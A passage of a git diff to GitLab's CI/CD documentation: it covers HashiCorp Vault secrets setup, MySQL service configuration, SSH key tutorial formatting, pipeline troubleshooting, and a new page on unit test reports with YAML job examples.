multiple secrets engines. + +## Configure your Vault server + +To configure your Vault server: + +1. Enable the authentication method by running these commands. They provide your Vault + server the [JSON Web Key Set](https://tools.ietf.org/html/rfc7517) (JWKS) endpoint for your GitLab instance, so Vault + can fetch the public signing key and verify the JSON Web Token (JWT) when authenticating: + + ```shell + $ vault auth enable jwt + + $ vault write auth/jwt/config \ + jwks_url="https://gitlab.example.com/-/jwks" \ + bound_issuer="gitlab.example.com" + ``` + +1. Configure policies on your Vault server to grant or forbid access to certain + paths and operations. This example grants read access to the set of secrets + required by your production environment: + + ```shell + vault policy write myproject-production - <<EOF + # Read-only permission on 'ops/data/production/*' path + + path "ops/data/production/*" { + capabilities = [ "read" ] + } + EOF + ``` + +1. Configure roles on your Vault server, restricting roles to a project or namespace, + as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. +1. [Create the following CI variables](../variables/README.md#custom-environment-variables) + to provide details about your Vault server: + - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. + Required. + - `VAULT_AUTH_ROLE` - (Optional) The role to use when attempting to authenticate. + If no role is specified, Vault uses the [default role](https://www.vaultproject.io/api/auth/jwt#default_role) + specified when the authentication method was configured. + - `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`. + + NOTE: **Note:** + Support for [providing these values in the user interface](https://gitlab.com/gitlab-org/gitlab/-/issues/218677) + is planned but not yet implemented. + +## Use Vault secrets in a CI job **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4 and GitLab Runner 13.4. + +After [configuring your Vault server](#configure-your-vault-server), you can use +the secrets stored in Vault by defining them with the `vault` keyword: + +```yaml +secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +``` + +In this example: + +- `production/db` - The secret. +- `password` The field. +- `ops` - The path where the secrets engine is mounted. + +After GitLab fetches the secret from Vault, the value is saved in a temporary file. +The path to this file is stored in environment variable named `DATABASE_PASSWORD`, +similar to [CI variables of type `file`](../variables/README.md#custom-environment-variables-of-type-file). + +For more information about the supported syntax, read the +[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault). + +## Configure Vault server roles + +When a CI job attempts to authenticate, it specifies a role. You can use roles to group +different policies together. If authentication is successful, these policies are +attached to the resulting Vault token. + +[Bound claims](https://www.vaultproject.io/docs/auth/jwt#bound-claims) are predefined +values that are matched to the JWT's claims. With bounded claims, you can restrict access +to specific GitLab users, specific projects, or even jobs running for specific Git +references. You can have as many bounded claims you need, but they must *all* match +for authentication to be successful. + +Combining bounded claims with GitLab features like [user roles](../../user/permissions.md) +and [protected branches](../../user/project/protected_branches.md), you can tailor +these rules to fit your specific use case. In this example, authentication is allowed +only for jobs running for protected tags with names matching the pattern used for +production releases: + +```shell +$ vault write auth/jwt/role/myproject-production - <<EOF +{ + "role_type": "jwt", + "policies": ["myproject-production"], + "token_explicit_max_ttl": 60, + "user_claim": "user_email", + "bound_claims_type": "glob", + "bound_claims": { + "project_id": "42", + "ref_protected": "true", + "ref_type": "tag", + "ref": "auto-deploy-*" + } +} +EOF +``` + +CAUTION: **Caution:** +Always restrict your roles to a project or namespace by using one of the provided +claims like `project_id` or `namespace_id`. Without these restrictions, any JWT +generated by this GitLab instance may be allowed to authenticate using this role. + +For a full list of `CI_JOB_JWT` claims, read the +[How it works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the +[Authenticating and Reading Secrets With Hashicorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial. + +You can also specify some attributes for the resulting Vault tokens, such as time-to-live, +IP address range, and number of uses. The full list of options is available in +[Vault's documentation on creating roles](https://www.vaultproject.io/api/auth/jwt#create-role) +for the JSON web token method. diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index 1b017111d22..bbab1194191 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -7,122 +7,123 @@ type: reference # Using MySQL -As many applications depend on MySQL as their database, you will eventually -need it in order for your tests to run. Below you are guided how to do this -with the Docker and Shell executors of GitLab Runner. +Many applications depend on MySQL as their database, and you may +need it for your tests to run. ## Use MySQL with the Docker executor -If you are using [GitLab Runner](../runners/README.md) with the Docker executor -you basically have everything set up already. +If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor. -First, in your `.gitlab-ci.yml` add: +1. [Create variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your + MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**, + and clicking **Add Variable**. -```yaml -services: - - mysql:latest + This example uses `$MYSQL_DB` and `$MYSQL_PASS` as the keys. -variables: - # Configure mysql environment variables (https://hub.docker.com/_/mysql/) - MYSQL_DATABASE: "<your_mysql_database>" - MYSQL_ROOT_PASSWORD: "<your_mysql_password>" -``` +1. To specify a MySQL image, add the following to your `.gitlab-ci.yml` file: -NOTE: **Note:** -The `MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` variables can't be set in the GitLab UI. -To set them, assign them to a variable [in the UI](../variables/README.md#create-a-custom-variable-in-the-ui), -and then assign that variable to the -`MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` variables in your `.gitlab-ci.yml`. + ```yaml + services: + - mysql:latest + ``` -And then configure your application to use the database, for example: + - You can use any Docker image available on [Docker Hub](https://hub.docker.com/_/mysql/). + For example, to use MySQL 5.5, use `mysql:5.5`. + - The `mysql` image can accept environment variables. For more information, view + the [Docker Hub documentation](https://hub.docker.com/_/mysql/). -```yaml -Host: mysql -User: root -Password: <your_mysql_password> -Database: <your_mysql_database> -``` +1. To include the database name and password, add the following to your `.gitlab-ci.yml` file: -If you are wondering why we used `mysql` for the `Host`, read more at -[How services are linked to the job](../docker/using_docker_images.md#how-services-are-linked-to-the-job). + ```yaml + variables: + # Configure mysql environment variables (https://hub.docker.com/_/mysql/) + MYSQL_DATABASE: $MYSQL_DB + MYSQL_ROOT_PASSWORD: $MYSQL_PASS + ``` -You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/mysql/). -For example, to use MySQL 5.5 the service becomes `mysql:5.5`. + The MySQL container uses `MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` to connect to the database. + Pass these values by using variables (`$MYSQL_DB` and `$MYSQL_PASS`), + [rather than calling them directly](https://gitlab.com/gitlab-org/gitlab/-/issues/30178). -The `mysql` image can accept some environment variables. For more details -check the documentation on [Docker Hub](https://hub.docker.com/_/mysql/). +1. Configure your application to use the database, for example: + + ```yaml + Host: mysql + User: runner + Password: <your_mysql_password> + Database: <your_mysql_database> + ``` ## Use MySQL with the Shell executor -You can also use MySQL on manually configured servers that are using +You can also use MySQL on manually-configured servers that use GitLab Runner with the Shell executor. -First install the MySQL server: +1. Install the MySQL server: -```shell -sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev -``` + ```shell + sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev + ``` -Pick a MySQL root password (can be anything), and type it twice when asked. +1. Choose a MySQL root password and type it twice when asked. -*Note: As a security measure you can run `mysql_secure_installation` to -remove anonymous users, drop the test database and disable remote logins with -the root user.* + NOTE: **Note:** + As a security measure, you can run `mysql_secure_installation` to + remove anonymous users, drop the test database, and disable remote logins by + the root user. -The next step is to create a user, so login to MySQL as root: +1. Create a user by logging in to MySQL as root: -```shell -mysql -u root -p -``` + ```shell + mysql -u root -p + ``` -Then create a user (in our case `runner`) which will be used by your -application. Change `$password` in the command below to a real strong password. +1. Create a user (in this case, `runner`) that will be used by your + application. Change `$password` in the command to a strong password. -*Note: Do not type `mysql>`, this is part of the MySQL prompt.* + At the `mysql>` prompt, type: -```shell -mysql> CREATE USER 'runner'@'localhost' IDENTIFIED BY '$password'; -``` + ```sql + CREATE USER 'runner'@'localhost' IDENTIFIED BY '$password'; + ``` -Create the database: +1. Create the database: -```shell -mysql> CREATE DATABASE IF NOT EXISTS `<your_mysql_database>` DEFAULT CHARACTER SET `utf8` COLLATE `utf8_unicode_ci`; -``` + ```sql + CREATE DATABASE IF NOT EXISTS `<your_mysql_database>` DEFAULT CHARACTER SET `utf8` \ + COLLATE `utf8_unicode_ci`; + ``` -Grant the necessary permissions on the database: +1. Grant the necessary permissions on the database: -```shell -mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, CREATE TEMPORARY TABLES, DROP, INDEX, ALTER, LOCK TABLES ON `<your_mysql_database>`.* TO 'runner'@'localhost'; -``` + ```sql + GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, CREATE TEMPORARY TABLES, DROP, INDEX, ALTER, LOCK TABLES ON `<your_mysql_database>`.* TO 'runner'@'localhost'; + ``` -If all went well you can now quit the database session: +1. If all went well, you can quit the database session: -```shell -mysql> \q -``` + ```shell + \q + ``` -Now, try to connect to the newly created database to check that everything is -in place: +1. Connect to the newly-created database to check that everything is + in place: -```shell -mysql -u runner -p -D <your_mysql_database> -``` + ```shell + mysql -u runner -p -D <your_mysql_database> + ``` -As a final step, configure your application to use the database, for example: +1. Configure your application to use the database, for example: -```shell -Host: localhost -User: runner -Password: $password -Database: <your_mysql_database> -``` + ```shell + Host: localhost + User: runner + Password: $password + Database: <your_mysql_database> + ``` ## Example project -We have set up an [Example MySQL Project](https://gitlab.com/gitlab-examples/mysql) for your -convenience that runs on [GitLab.com](https://gitlab.com) using our publicly -available [shared runners](../runners/README.md). - -Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +To view a MySQL example, create a fork of this [sample project](https://gitlab.com/gitlab-examples/mysql). +This project uses publicly-available [shared runners](../runners/README.md) on [GitLab.com](https://gitlab.com). +Update the README.md file, commit your changes, and view the CI/CD pipeline to see it in action. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index b1847ffbc60..d8280316f19 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -2,7 +2,6 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -last_updated: 2017-12-13 type: tutorial --- @@ -91,8 +90,8 @@ to access it. This is where an SSH key pair comes in handy. ## Optionally, if you will be using any Git commands, set the user name and ## and email. ## - #- git config --global user.email "user@example.com" - #- git config --global user.name "User name" + # - git config --global user.email "user@example.com" + # - git config --global user.name "User name" ``` NOTE: **Note:** @@ -193,8 +192,8 @@ before_script: ## Replace example.com with your private server's domain name. Repeat that ## command if you have more than one server to connect to. ## - #- ssh-keyscan example.com >> ~/.ssh/known_hosts - #- chmod 644 ~/.ssh/known_hosts + # - ssh-keyscan example.com >> ~/.ssh/known_hosts + # - chmod 644 ~/.ssh/known_hosts ## ## You can optionally disable host key checking. Be aware that by adding that @@ -202,7 +201,7 @@ before_script: ## WARNING: Use this only with the Docker executor, if you use it with shell ## you will overwrite your user's SSH config. ## - #- '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config' + # - '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config' ``` ## Example project diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 96d94a6c165..992b51b6b3d 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -7,49 +7,240 @@ type: reference # Troubleshooting CI/CD -## Pipeline warnings +GitLab provides several tools to help make troubleshooting your pipelines easier. -Pipeline configuration warnings are shown when you: +This guide also lists common issues and possible solutions. -- [View pipeline details](pipelines/index.md#view-pipelines). -- [Validate configuration with the CI Lint tool](yaml/README.md#validate-the-gitlab-ciyml). -- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually). +## Verify syntax -### "Job may allow multiple pipelines to run for a single action" +An early source of problems can be incorrect syntax. The pipeline shows a `yaml invalid` +badge and does not start running if any syntax or formatting problems are found. -When you use [`rules`](yaml/README.md#rules) with a `when:` clause without -an `if:` clause, multiple pipelines may run. Usually -this occurs when you push a commit to a branch that has an open merge request associated with it. +### Edit `gitlab-ci.yml` with the Web IDE -To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), use -[`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules -to control which pipelines can run. +The [GitLab Web IDE](../user/project/web_ide/index.md) offers advanced authoring tools, +including syntax highlighting for the `.gitlab-ci.yml`, and is the recommended editing +experience (rather than the single file editor). It offers code completion suggestions +that ensure you are only using accepted keywords. + +If you prefer to use another editor, you can use a schema like [the Schemastore `gitlab-ci` schema](https://json.schemastore.org/gitlab-ci) +with your editor of choice. + +### Verify syntax with CI Lint tool + +The [CI Lint tool](lint.md) is a simple way to ensure the syntax of a CI/CD configuration +file is correct. Paste in full `gitlab-ci.yml` files or individual jobs configuration, +to verify the basic syntax. + +When a `.gitlab-ci.yml` file is present in a project, you can also use the CI Lint +tool to [simulate the creation of a full pipeline](lint.md#pipeline-simulation). +It does deeper verification of the configuration syntax. + +## Verify variables + +A key part of troubleshooting CI/CD is to verify which variables are present in a +pipeline, and what their values are. A lot of pipeline configuration is dependent +on variables, and verifying them is one of the fastest ways to find the source of +a problem. + +[Export the full list of variables](variables/README.md#list-all-environment-variables) +available in each problematic job. Check if the variables you expect are present, +and check if their values are what you expect. + +## GitLab CI/CD documentation + +The [complete `gitlab-ci.yml` reference](yaml/README.md) contains a full list of +every keyword you may need to use to configure your pipelines. + +You can also look at a large number of pipeline configuration [examples](examples/README.md) +and [templates](examples/README.md#cicd-templates). + +### Documentation for pipeline types + +Some pipeline types have their own detailed usage guides that you should read +if you are using that type: + +- [Multi-project pipelines](multi_project_pipelines.md): Have your pipeline trigger + a pipeline in a different project. +- [Parent/child pipelines](parent_child_pipelines.md): Have your main pipeline trigger + and run separate pipelines in the same project. You can also + [dynamically generate the child pipeline's configuration](parent_child_pipelines.md#dynamic-child-pipelines) + at runtime. +- [Pipelines for Merge Requests](merge_request_pipelines/index.md): Run a pipeline + in the context of a merge request. + - [Pipelines for Merge Results](merge_request_pipelines/pipelines_for_merged_results/index.md): + Pipelines for merge requests that run on the combined source and target branch + - [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md): + Multiple pipelines for merged results that queue and run automatically before + changes are merged. + +### Troubleshooting Guides for CI/CD features + +There are troubleshooting guides available for some CI/CD features and related topics: + +- [Container Registry](../user/packages/container_registry/index.md#troubleshooting-the-gitlab-container-registry) +- [GitLab Runner](https://docs.gitlab.com/runner/faq/) +- [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#troubleshooting) +- [Docker Build](docker/using_docker_build.md#troubleshooting) +- [Environments](environments/deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time) + +## Common CI/CD issues + +A lot of common pipeline issues can be fixed by analyzing the behavior of the `rules` +or `only/except` configuration. You shouldn't use these two configurations in the same +pipeline, as they behave differently. It's hard to predict how a pipeline runs with +this mixed behavior. + +If your `rules` or `only/except` configuration makes use of [predefined variables](variables/predefined_variables.md) +like `CI_PIPELINE_SOURCE`, `CI_MERGE_REQUEST_ID`, you should [verify them](#verify-variables) +as the first troubleshooting step. + +### Jobs or pipelines don't run when expected + +The `rules` or `only/except` keywords are what determine whether or not a job is +added to a pipeline. If a pipeline runs, but a job is not added to the pipeline, +it's usually due to `rules` or `only/except` configuration issues. + +If a pipeline does not seem to run at all, with no error message, it may also be +due to `rules` or `only/except` configuration, or the `workflow: rules` keyword. + +If you are converting from `only/except` to the `rules` keyword, you should check +the [`rules` configuration details](yaml/README.md#rules) carefully. The behavior +of `only/except` and `rules` is different and can cause unexpected behavior when migrating +between the two. + +The [common `if` clauses for `rules`](yaml/README.md#common-if-clauses-for-rules) +can be very helpful for examples of how to write rules that behave the way you expect. + +#### Two pipelines run at the same time + +Two pipelines can run when pushing a commit to a branch that has an open merge request +associated with it. Usually one pipeline is a merge request pipeline, and the other +is a branch pipeline. -## Merge request pipeline widget +This is usually caused by the `rules` configuration, and there are several ways to +[prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines). -The merge request pipeline widget shows information about the pipeline status in a Merge Request. It's displayed above the [merge request ability to merge widget](#merge-request-ability-to-merge-widget). +#### A job is not in the pipeline -There are several messages that can be displayed depending on the status of the pipeline. +GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/README.md#onlyexcept-basic) +or [`rules`](yaml/README.md#rules) defined for the job. If it didn't run, it's probably +not evaluating as you expect. -### "Checking pipeline status" +#### No pipeline or the wrong type of pipeline runs -This message is shown when the merge request has no pipeline associated with the latest commit yet. This might be because: +Before a pipeline can run, GitLab evaluates all the jobs in the configuration and tries +to add them to all available pipeline types. A pipeline does not run if no jobs are added +to it at the end of the evaluation. + +If a pipeline did not run, it's likely that all the jobs had `rules` or `only/except` that +blocked them from being added to the pipeline. + +If the wrong pipeline type ran, then the `rules` or `only/except` configuration should +be checked to make sure the jobs are added to the correct pipeline type. For +example, if a merge request pipeline did not run, the jobs may have been added to +a branch pipeline instead. + +It's also possible that your [`workflow: rules`](yaml/README.md#workflowrules) configuration +blocked the pipeline, or allowed the wrong pipeline type. + +### A job runs unexpectedly + +A common reason a job is added to a pipeline unexpectedly is because the `changes` +keyword always evaluates to true in certain cases. For example, `changes` is always +true in certain pipeline types, including scheduled pipelines and pipelines for tags. + +The `changes` keyword is used in combination with [`only/except`](yaml/README.md#onlychangesexceptchanges) +or [`rules`](yaml/README.md#ruleschanges)). It's recommended to use `changes` with +`rules` or `only/except` configuration that ensures the job is only added to branch +pipelines or merge request pipelines. + +### "fatal: reference is not a tree" error + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17043) in GitLab 12.4. + +Previously, you'd have encountered unexpected pipeline failures when you force-pushed +a branch to its remote repository. To illustrate the problem, suppose you've had the current workflow: + +1. A user creates a feature branch named `example` and pushes it to a remote repository. +1. A new pipeline starts running on the `example` branch. +1. A user rebases the `example` branch on the latest `master` branch and force-pushes it to its remote repository. +1. A new pipeline starts running on the `example` branch again, however, + the previous pipeline (2) fails because of `fatal: reference is not a tree:` error. + +This is because the previous pipeline cannot find a checkout-SHA (which is associated with the pipeline record) +from the `example` branch that the commit history has already been overwritten by the force-push. +Similarly, [Pipelines for merged results](merge_request_pipelines/pipelines_for_merged_results/index.md) +might have failed intermittently due to [the same reason](merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error). + +As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively. +To illustrate its life cycle: + +1. A pipeline is created on a feature branch named `example`. +1. A persistent pipeline ref is created at `refs/pipelines/<pipeline-id>`, + which retains the checkout-SHA of the associated pipeline record. + This persistent ref stays intact during the pipeline execution, + even if the commit history of the `example` branch has been overwritten by force-push. +1. The runner fetches the persistent pipeline ref and gets source code from the checkout-SHA. +1. When the pipeline finishes, its persistent ref is cleaned up in a background process. + +### Merge request pipeline messages + +The merge request pipeline widget shows information about the pipeline status in +a merge request. It's displayed above the [ability to merge status widget](#merge-request-status-messages). + +#### "Checking pipeline status" message + +This message is shown when the merge request has no pipeline associated with the +latest commit yet. This might be because: - GitLab hasn't finished creating the pipeline yet. - You are using an external CI service and GitLab hasn't heard back from the service yet. - You are not using CI/CD pipelines in your project. - The latest pipeline was deleted (this is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214323)). -After the pipeline is created, the message will update with the pipeline status. +After the pipeline is created, the message updates with the pipeline status. + +### Merge request status messages + +The merge request status widget shows the **Merge** button and whether or not a merge +request is ready to merge. If the merge request can't be merged, the reason for this +is displayed. + +If the pipeline is still running, the **Merge** button is replaced with the +**Merge when pipeline succeeds** button. -## Merge request ability to merge widget +If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)** -The merge request status widget shows the **Merge** button and whether or not a merge request is ready to merge. If the merge request can't be merged, the reason for this is displayed. +#### "A CI/CD pipeline must run and be successful before merge" message -If the pipeline is still running, the **Merge** button is replaced with the **Merge when pipeline succeeds** button. +This message is shown if the [Pipelines must succeed](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) +setting is enabled in the project and a pipeline has not yet run successfully. +This also applies if the pipeline has not been created yet, or if you are waiting +for an external CI service. If you don't use pipelines for your project, then you +should disable **Pipelines must succeed** so you can accept merge requests. + +## Pipeline warnings + +Pipeline configuration warnings are shown when you: + +- [Validate configuration with the CI Lint tool](yaml/README.md#validate-the-gitlab-ciyml). +- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually). + +### "Job may allow multiple pipelines to run for a single action" warning + +When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `if:` +clause, multiple pipelines may run. Usually this occurs when you push a commit to +a branch that has an open merge request associated with it. + +To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), use +[`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules to control +which pipelines can run. -If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)** +## How to get help -### "A CI/CD pipeline must run and be successful before merge" +If you are unable to resolve pipeline issues, you can get help from: -This message is shown if the [Pipelines must succeed](../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds) setting is enabled in the project and a pipeline has not yet run successfully. This also applies if the pipeline has not been created yet, or if you are waiting for an external CI service. If you don't use pipelines for your project, then you should disable **Pipelines must succeed** so you can accept merge requests. +- The [GitLab community forum](https://forum.gitlab.com/) +- GitLab [Support](https://about.gitlab.com/support/) diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md new file mode 100644 index 00000000000..5a59a175a89 --- /dev/null +++ b/doc/ci/unit_test_reports.md @@ -0,0 +1,293 @@ +--- +stage: Verify +group: Testing +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- + +# Unit test reports + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45318) in GitLab 11.2. Requires GitLab Runner 11.2 and above. +> - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39737) from JUnit test reports to Unit test reports in GitLab 13.4. + +## Overview + +It is very common that a [CI/CD pipeline](pipelines/index.md) contains a +test job that will verify your code. +If the tests fail, the pipeline fails and users get notified. The person that +works on the merge request will have to check the job logs and see where the +tests failed so that they can fix them. + +You can configure your job to use Unit test reports, and GitLab will display a +report on the merge request so that it's easier and faster to identify the +failure without having to check the entire log. Unit test reports currently +only support test reports in the JUnit report format. + +If you don't use Merge Requests but still want to see the unit test report +output without searching through job logs, the full +[Unit test reports](#viewing-unit-test-reports-on-gitlab) are available +in the pipeline detail view. + +Consider the following workflow: + +1. Your `master` branch is rock solid, your project is using GitLab CI/CD and + your pipelines indicate that there isn't anything broken. +1. Someone from your team submits a merge request, a test fails and the pipeline + gets the known red icon. To investigate more, you have to go through the job + logs to figure out the cause of the failed test, which usually contain + thousands of lines. +1. You configure the Unit test reports and immediately GitLab collects and + exposes them in the merge request. No more searching in the job logs. +1. Your development and debugging workflow becomes easier, faster and efficient. + +## How it works + +First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) +as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts +comparing the head and base branch's JUnit report format XML files, where: + +- The base branch is the target branch (usually `master`). +- The head branch is the source branch (the latest pipeline in each merge request). + +The reports panel has a summary showing how many tests failed, how many had errors +and how many were fixed. If no comparison can be done because data for the base branch +is not available, the panel will just show the list of failed tests for head. + +There are four types of results: + +1. **Newly failed tests:** Test cases which passed on base branch and failed on head branch +1. **Newly encountered errors:** Test cases which passed on base branch and failed due to a + test error on head branch +1. **Existing failures:** Test cases which failed on base branch and failed on head branch +1. **Resolved failures:** Test cases which failed on base branch and passed on head branch + +Each entry in the panel will show the test name and its type from the list +above. Clicking on the test name will open a modal window with details of its +execution time and the error output. + + + +## How to set it up + +To enable the Unit test reports in merge requests, you need to add +[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit) +in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports. +The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575). + +In the following examples, the job in the `test` stage runs and GitLab +collects the Unit test report from each job. After each job is executed, the +XML reports are stored in GitLab as artifacts and their results are shown in the +merge request widget. + +To make the Unit test report output files browsable, include them with the +[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example). +To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/README.md#artifactswhen) +keyword. + +NOTE: **Note:** +You cannot have multiple tests with the same name and class in your JUnit report format XML file. + +### Ruby example + +Use the following job in `.gitlab-ci.yml`. This includes the `artifacts:paths` keyword to provide a link to the Unit test report output file. + +```yaml +## Use https://github.com/sj26/rspec_junit_formatter to generate a JUnit report format XML file with rspec +ruby: + stage: test + script: + - bundle install + - bundle exec rspec --format progress --format RspecJunitFormatter --out rspec.xml + artifacts: + when: always + paths: + - rspec.xml + reports: + junit: rspec.xml +``` + +### Go example + +Use the following job in `.gitlab-ci.yml`, and ensure you use `-set-exit-code`, +otherwise the pipeline will be marked successful, even if the tests fail: + +```yaml +## Use https://github.com/jstemmer/go-junit-report to generate a JUnit report format XML file with go +golang: + stage: test + script: + - go get -u github.com/jstemmer/go-junit-report + - go test -v 2>&1 | go-junit-report -set-exit-code > report.xml + artifacts: + when: always + reports: + junit: report.xml +``` + +### Java examples + +There are a few tools that can produce JUnit report format XML file in Java. + +#### Gradle + +In the following example, `gradle` is used to generate the test reports. +If there are multiple test tasks defined, `gradle` will generate multiple +directories under `build/test-results/`. In that case, you can leverage glob +matching by defining the following path: `build/test-results/test/**/TEST-*.xml`: + +```yaml +java: + stage: test + script: + - gradle test + artifacts: + when: always + reports: + junit: build/test-results/test/**/TEST-*.xml +``` + +NOTE: **Note:** +Support for `**` was added in [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620). + +#### Maven + +For parsing [Surefire](https://maven.apache.org/surefire/maven-surefire-plugin/) +and [Failsafe](https://maven.apache.org/surefire/maven-failsafe-plugin/) test +reports, use the following job in `.gitlab-ci.yml`: + +```yaml +java: + stage: test + script: + - mvn verify + artifacts: + when: always + reports: + junit: + - target/surefire-reports/TEST-*.xml + - target/failsafe-reports/TEST-*.xml +``` + +### Python example + +This example uses pytest with the `--junitxml=report.xml` flag to format the output +into the JUnit report XML format: + +```yaml +pytest: + stage: test + script: + - pytest --junitxml=report.xml + artifacts: + when: always + reports: + junit: report.xml +``` + +### C/C++ example + +There are a few tools that can produce JUnit report format XML files in C/C++. + +#### GoogleTest + +In the following example, `gtest` is used to generate the test reports. +If there are multiple gtest executables created for different architectures (`x86`, `x64` or `arm`), +you will be required to run each test providing a unique filename. The results +will then be aggregated together. + +```yaml +cpp: + stage: test + script: + - gtest.exe --gtest_output="xml:report.xml" + artifacts: + when: always + reports: + junit: report.xml +``` + +#### CUnit + +[CUnit](https://cunity.gitlab.io/cunit/) can be made to produce [JUnit report format XML files](https://cunity.gitlab.io/cunit/group__CI.html) automatically when run using its `CUnitCI.h` macros: + +```yaml +cunit: + stage: test + script: + - ./my-cunit-test + artifacts: + when: always + reports: + junit: ./my-cunit-test.xml +``` + +### .NET example + +The [JunitXML.TestLogger](https://www.nuget.org/packages/JunitXml.TestLogger/) NuGet +package can generate test reports for .Net Framework and .Net Core applications. The following +example expects a solution in the root folder of the repository, with one or more +project files in sub-folders. One result file is produced per test project, and each file +is placed in a new artifacts folder. This example includes optional formatting arguments, which +improve the readability of test data in the test widget. A full .Net Core +[example is available](https://gitlab.com/Siphonophora/dot-net-cicd-test-logging-demo). + +```yaml +## Source code and documentation are here: https://github.com/spekt/junit.testlogger/ + +Test: + stage: test + script: + - 'dotnet test --test-adapter-path:. --logger:"junit;LogFilePath=..\artifacts\{assembly}-test-result.xml;MethodFormat=Class;FailureBodyFormat=Verbose"' + artifacts: + when: always + paths: + - ./**/*test-result.xml + reports: + junit: + - ./**/*test-result.xml +``` + +## Viewing Unit test reports on GitLab + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. +> - The feature flag was removed and the feature was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216478) in GitLab 13.3. + +If JUnit report format XML files are generated and uploaded as part of a pipeline, these reports +can be viewed inside the pipelines details page. The **Tests** tab on this page will +display a list of test suites and cases reported from the XML file. + + + +You can view all the known test suites and click on each of these to see further +details, including the cases that make up the suite. + +You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a-pipelines-test-report). + +## Viewing JUnit screenshots on GitLab + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0. +> - It's deployed behind a feature flag, disabled by default. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature). **(CORE ONLY)** + +If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. + +Upload your screenshots as 